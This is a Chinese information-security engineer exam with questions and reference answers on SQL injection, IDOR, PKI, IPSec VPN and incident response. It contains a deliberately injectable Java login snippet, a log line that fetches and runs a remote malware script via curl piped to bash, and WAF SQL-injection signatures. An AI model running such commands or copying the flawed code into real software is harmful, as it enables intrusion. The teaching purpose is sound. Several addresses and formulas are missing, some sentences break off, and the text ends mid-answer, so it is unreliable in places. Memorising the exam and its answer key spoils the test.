2026年软考《信息安全工程师》应用技术真题

2026年软考《信息安全工程师》应用技术真题试题一：Web应用与API安全防护某大型电商平台“云购商城”近期计划进行系统升级，重点加强其Web应用及移动端API接口的安全性。该平台采用Java语言开发，Web服务器为Nginx，后端应用服务器为Tomcat，数据库为MySQL。随着业务量的增长，平台频繁遭受各类网络攻击，安全团队对现有的安全架构进行了审计，发现存在若干安全隐患。在代码审计过程中，安全工程师发现用户登录模块存在如下代码片段（伪代码）：```javaStringusername=request.getParameter("username");Stringpassword=request.getParameter("password");Stringsql="SELECT*FROMusersWHEREuname='"+username+"'ANDpasswd='"+password+"'";ResultSetrs=database.executeQuery(sql);if(rs.next()){//登录成功，跳转}else{//登录失败}```此外，在移动端API接口`/api/v1/order/query`中，系统直接接收前端传来的`user_id`参数，并返回该用户的所有订单详情。安全团队发现，攻击者可以通过修改请求中的`user_id`获取其他用户的订单信息，这属于典型的越权访问漏洞。为了解决上述问题，安全团队计划引入Web应用防火墙（WAF）并对代码进行重构。同时，针对跨站脚本攻击（XSS），团队决定在输出用户输入的数据时进行HTML实体编码。【问题1】（6分）请指出上述代码片段中存在的安全漏洞名称，并简要说明其原理。针对该漏洞，除了使用WAF外，请给出两种代码层面的修复方案。【问题2】（5分）针对API接口`/api/v1/order/query`存在的越权访问问题，请解释该漏洞的类型（水平越权或垂直越权），并给出两种有效的修复建议。【问题3】（4分）请列举三种常见的跨站脚本攻击（XSS）类型，并说明在输出点进行HTML实体编码主要针对哪种类型的XSS有效？【问题4】（5分）WAF通常部署在Web应用前端。请说明WAF检测SQL注入攻击的两种常用技术原理，并解释WAF部署模式中“反向代理”模式与“透明桥接”模式的主要区别。试题二：PKI公钥基础设施与数字签名某金融机构建立了完善的PKI系统以保障内部数据传输及身份认证的安全。该机构拥有独立的CA中心，采用层次化的信任结构。根CA（RootCA）离线保存，负责签发下级策略CA（PolicyCA）的证书；策略CA负责签发运营CA（IssuingCA）的证书；运营CA直接面向最终用户签发终端实体证书。在电子合同签署系统中，用户A需要向用户B发送一份经过数字签名的合同文件。该系统采用双证书机制（签名证书和加密证书）。签名证书用于签名，加密证书用于加密会话密钥。系统使用的非对称加密算法为RSA，哈希算法为SHA-256。假设用户A的签名公钥为，私钥为；用户B的加密公钥为，私钥为。合同明文为M。系统生成的随机会话密钥为K。用户A发送合同的具体流程如下：1.对合同明文M进行哈希运算，得到摘要H。2.使用用户A的私钥对摘要H进行加密运算，生成数字签名σ。3.使用会话密钥K对合同明文M进行加密，得到密文C。4.使用用户B的公钥对会话密钥K进行加密，得到密钥密文。5.将(σ【问题1】（5分）在PKI信任模型中，请解释“层次结构”与“网状结构”的区别。在上述场景中，如果用户B需要验证用户A的数字签名，请简述证书路径验证的过程。【问题2】（6分）请根据上述流程，写出用户B接收到数据后，验证合同完整性并解密合同内容的详细步骤。（请使用公式或文字描述运算过程，如使用解密σ等）。【问题3】（4分）CRL（证书撤销列表）和OCSP（在线证书状态协议）都是用于查询证书撤销状态的技术。请从实时性、网络依赖度和性能开销三个方面对比两者的优缺点。【问题4】（5分）为了提高私钥的安全性，系统通常采用硬件安全模块（HSM）或智能卡（USBKey）来存储私钥。请解释私钥分段（门限）秘密共享方案的基本原理。假设私钥被分为3份，其中任意2份组合即可恢复私钥，这是什么方案？试题三：网络安全架构与VPN设计某跨国企业“TechGlobal”在北京（总部）和上海（分部）各有一个办公网络。总部网络地址为`/16`，分部网络地址为`/16`。为了实现两地办公网络的安全互联，同时允许出差员工通过公网安全访问总部内网资源，安全工程师设计了一套基于IPSecVPN的远程访问解决方案。网络拓扑如下：1.总部出口部署高性能防火墙FW1，连接公网。2.分部出口部署防火墙FW2，连接公网。3.出差员工使用笔记本电脑，安装IPSecVPN客户端软件。设计方案要求：1.总部与分部之间建立Site-to-SiteIPSecVPN，采用IKEv1协议，加密算法为AES-256，认证算法为SHA-1，封装模式为隧道模式。2.出差员工与总部之间建立Remote-AccessIPSecVPN，采用IKEv2协议，且支持通过X.509证书进行身份认证。3.为了节省公网IP地址，总部内网用户访问互联网时，FW1需要配置源NAT（SourceNAT）。在配置过程中，工程师需要在FW1上编写访问控制策略（ACL），以定义感兴趣流。对于Site-to-SiteVPN，感兴趣流定义为源IP`/16`，目的IP`/16`。【问题1】（6分）IPSec协议簇包含两个主要协议：AH和ESP。请对比AH和ESP在提供安全服务方面的区别（如机密性、完整性、源认证）。在上述Site-to-SiteVPN中，若要求传输的数据必须加密，应选择哪个协议？【问题2】（5分）IKE（InternetKeyExchange）协议用于协商IPSec安全关联（SA）。IKEv1协商分为两个阶段。请简述IKEv1第一阶段主模式（MainMode）和野蛮模式（AggressiveMode）的区别，并说明第二阶段协商的主要内容。【问题3】（4分）在FW1上配置源NAT时，必须遵循“NATexempt”或“NAT豁免”规则。请解释为什么在配置VPN流量的NAT时，需要将VPN流量排除在NAT规则之外？如果不排除会发生什么问题？【问题4】（5分）假设出差员工获得的虚拟IP地址池为`/24`。请写出在FW1上，允许该虚拟IP网段访问总部内网`/16`中Web服务器（IP:`0`）的防火墙安全策略规则（伪命令或表格形式均可，需包含源、目的、服务、动作）。试题四：安全审计与应急响应某省级政务云平台近期遭遇了一起网络安全事件。安全监控中心在凌晨3点收到IDS告警，显示核心数据库服务器（IP:00）存在异常的外联行为，疑似向外部未知IP（0）发送了大量数据包。应急响应小组立即启动了应急预案，展开调查。首先，小组成员调取了数据库服务器的系统日志和防火墙流量日志。系统日志片段如下：```logDec1003:01:22db-serversshd[2341]:Acceptedpasswordforrootfrom00port34567ssh2Dec1003:02:05db-servercron[2355]:(root)CMD(curl-fsSL0/malware.sh|bash)Dec1003:05:10db-serverkernel:[UFWBLOCK]IN=OUT=eth0SRC=00DST=0...```经过初步分析，确认攻击者通过暴力破解SSH服务获取了root权限，随后植入恶意脚本，建立了反向Shell连接，并试图通过数据库导出命令窃取敏感公民信息。应急响应小组采取了以下措施：1.断开数据库服务器的网络连接。2.对系统内存和磁盘进行镜像取证。3.分析恶意脚本，确定攻击路径。4.修补SSH漏洞，重置所有系统密码。5.恢复系统业务。【问题1】（5分）根据日志片段，请推断攻击者攻击的大致流程。针对SSH暴力破解攻击，请列举三种除了设置强密码之外的防护措施。【问题2】（6分）在应急响应中，PDCER模型是常用的方法论。请说明PDCER模型中六个字母分别代表的阶段。在本案例中，“断开数据库服务器的网络连接”属于哪个阶段？【问题3】（4分）数字取证中，哈希值（如MD5或SHA-256）具有重要作用。请说明在电子证据固定阶段，计算磁盘镜像文件的哈希值的主要目的。如果取证过程中发现文件内容被篡改，哈希值会发生什么变化？【问题4】（5分）为了防止未来再次发生类似的数据泄露事件，该平台计划部署数据库审计系统。请简述数据库审计系统的主要功能。除了数据库审计，请再列举两种针对应用层数据泄露的防护技术。参考答案及解析试题一：Web应用与API安全防护【问题1】漏洞名称：SQL注入漏洞。原理：攻击者通过在Web表单输入框或URL参数中插入恶意的SQL代码，应用程序未对用户输入进行严格的过滤或参数化处理，直接将输入拼接到SQL查询语句中，导致数据库引擎执行非预期的SQL命令，从而窃取数据、篡改数据或破坏数据库。代码层面修复方案：1.使用预编译语句：利用PreparedStatement或参数化查询，将数据与代码分离，数据库会将输入作为纯数据处理，避免解析为SQL指令。2.输入验证与过滤：对用户输入的`username`和`password`进行严格的格式检查（如限制字符类型、长度），过滤掉单引号、双横线、分号等特殊SQL字符。【问题2】漏洞类型：水平越权漏洞。解释：攻击者（用户A）可以通过修改参数，访问到与其拥有相同权限级别的其他用户（用户B）的私有数据（订单信息）。修复建议：1.会话鉴权：在后端逻辑中，不要仅依赖前端传入的`user_id`。从当前登录用户的Session或Token中解析出已认证的`user_id`，并强制要求查询条件中的`user_id`必须与当前登录用户的ID一致。2.实施对象级访问控制：在查询数据库前，检查当前用户是否有权访问该特定资源ID。例如，检查`order`表中是否确实存在`user_id=current_user_id`的关联记录。【问题3】三种XSS类型：1.存储型XSS2.反射型XSS3.DOM型XSSHTML实体编码有效性：主要针对反射型XSS和存储型XSS有效。通过将特殊字符（如`<`,`>`,`&`,`"`,`'`）转换为HTML实体，防止浏览器将其解析为HTML标签或JavaScript代码。对于DOM型XSS，由于攻击发生在完全客户端的JavaScript执行环境中，单纯的输出编码可能不足以防范，还需要结合DOM操作的安全规范。【问题4】WAF检测SQL注入的技术原理：1.基于规则的匹配：WAF内置包含常见SQL注入特征码（如`UNIONSELECT`,`OR1=1`,`--`,`;DROP`）的正则表达式库，对HTTP请求流量进行逐字匹配。一旦命中规则，即触发拦截。2.基于语义的分析：使用SQL解析器对用户输入进行语法分析，判断输入内容是否符合SQL语法结构。如果输入被解析为完整的SQL语句片段而非普通数据，则判定为注入攻击。部署模式区别：反向代理模式：WAF作为反向代理服务器，客户端的请求先到达WAF，WAF检测通过后，WAF作为客户端向后端转发请求。需要修改DNS解析或配置虚拟IP，对网络架构改动较大，但支持负载均衡等功能。透明桥接模式：WAF以网桥方式串接在网络链路中，无需修改IP地址和路由配置，对网络层设备透明。数据包流经WAF时被检测，通常用于硬件设备部署，便于即插即用。试题二：PKI公钥基础设施与数字签名【问题1】层次结构与网状结构的区别：层次结构：信任关系呈树状，所有信任都追溯到一个单一的根CA。证书路径验证简单，只需从终端实体证书向上验证到根CA。管理集中，扩展性好。网状结构：CA之间互相信任，形成交叉认证网。信任关系复杂，证书路径可能有多条，验证算法较复杂。适用于分布式、跨域的信任环境，但路径构建困难。证书路径验证过程：1.用户B收到用户A的证书，首先验证证书的有效期（未过期）。2.检查证书的颁发者（CA）是否被用户B信任。如果不直接信任，则向上获取CA的证书。3.验证CA证书的签名公钥是否能够解开用户A证书上的数字签名（即验证证书的完整性）。4.检查证书是否已被撤销（通过CRL或OCSP）。5.重复上述过程，直到追溯到用户B信任的根CA，且路径上所有证书均有效。【问题2】用户B的解密与验证步骤：1.解密会话密钥：用户B使用自己的私钥对进行解密运算，恢复出会话密钥K。K2.解密合同明文：使用恢复出的会话密钥K对密文C进行解密，得到合同明文M。M3.计算摘要：对解密得到的合同明文M使用哈希算法（SHA-256）进行运算，得到本地计算出的摘要。=4.验证签名：使用用户A的公钥对数字签名σ进行解密（验签）运算，得到原始摘要H。H5.完整性比对：比较和H。如果==H【问题3】CRL与OCSP对比：实时性：CRL实时性较差，通常按照固定周期（如每天）发布，存在滞后性；OCSP实时性好，可以提供实时的证书状态查询。网络依赖度：CRL通常可以缓存下载，离线也可使用旧列表；OCSP必须在线连接OCSP服务器，网络依赖度高。性能开销：CRL随着撤销证书数量增加，文件体积变大，下载和解析开销大；OCSP响应数据量小，解析快，但对服务器并发处理能力要求高。【问题4】私钥分段秘密共享原理：将秘密（私钥）拆分成多个部分（份额），分别由不同的人保管。只有当凑齐了规定数量（阈值）的份额时，才能通过数学算法恢复出原始秘密；少于该数量的份额组合无法恢复秘密。方案名称：这是(t,n试题三：网络安全架构与VPN设计【问题1】AH与ESP的区别：AH(AuthenticationHeader)：仅提供数据完整性校验、数据源认证和防重放保护。不提供数据机密性（加密），数据以明文传输。ESP(EncapsulatingSecurityPayload)：提供数据机密性（加密）、数据完整性校验、数据源认证和防重放保护。ESP可以加密IP载荷。选择：由于题目要求传输的数据必须加密，应选择ESP协议。【问题2】IKEv1主模式与野蛮模式的区别：主模式：提供身份保护，协商过程分为6个消息交换（3对），安全性高，但速度慢。在身份保护方面，只有在建立SA后才交换身份信息。野蛮模式：协商过程减少到3个消息交换，速度较快，但身份信息以明文传输（通常在第一个消息中），不提供身份保护，且不支持DH群组协商。第二阶段协商内容：IKEv1第二阶段（QuickMode）主要协商IPSec安全联盟（SA）的具体参数，包括：1.具体的IPSec协议参数（AH或ESP）。2.加密算法和认证算法。3.封装模式（传输模式或隧道模式）。4.具体的感兴趣流（ACL）。5.生成新的IPSecSA密钥材料（通常基于第一阶段的KEYSEED）。【问题3】需要排除VPN流量的原因：VPN通信需要封装原始IP数据包。如果VPN流量（源`/16`，目的`/16`）先经过源NAT处理，源IP地址会被修改为公网地址（如NAT后的IP）。当数据包到达IPSec处理模块时，它将无法匹配定义的VPN感兴趣流（感兴趣流要求源地址必须是内网地址`/16`）。后果：如果不排除，防火墙将认为这些流量是普通的互联网访问流量，对其进行NAT转换并发往互联网，而不会将其送入IPSecVPN隧道进行加密处理，导致VPN通信失败。【问题4】防火墙安全策略规则：源地址目的地址服务/协议动作/240TCP/80(HTTP)允许/240TCP/443(HTTPS)允许(注：通常还需要配置一条隐式或显式的拒绝规则作为补充，上述规则仅列出允许访问Web服务器的策略)试题四：安全审计与应急响应【问题1】攻击流程：1.扫描与探测：攻击者扫描发现开放了SSH端口（00）。2.暴力破解：攻击者使用字典对SSH服务进行暴力破解攻击。3.获取权限：攻击者成功猜解出root用户的密码，获得服务器root权限（日志显示Acceptedpasswordforroot）。4.植入后门：攻击者通过修改crontab定时任务，下载并执行恶意脚本（malware.sh）。5.建立连接与数据窃取：恶意脚本运行，建立反向Shell连接至0，并执行数据库导出命令发送敏感数据。SSH暴力破解防护措施（除强密码外）：1.禁用Root直接远程登录：修改SSH配置文件`sshd_config`，设置`PermitRootLoginno`，强制使用普通用户登录后提权。2.配置登录失败锁定：使用`fail2ban`或`pam_tally2`等工具，限制连续登录失败次数，超过阈值后临时锁定IP或账户。3.更改默认端口：将SSH服务默认的22端口修改为不常见的高位端口，增加被自动化脚本扫描到的难度。4.启用多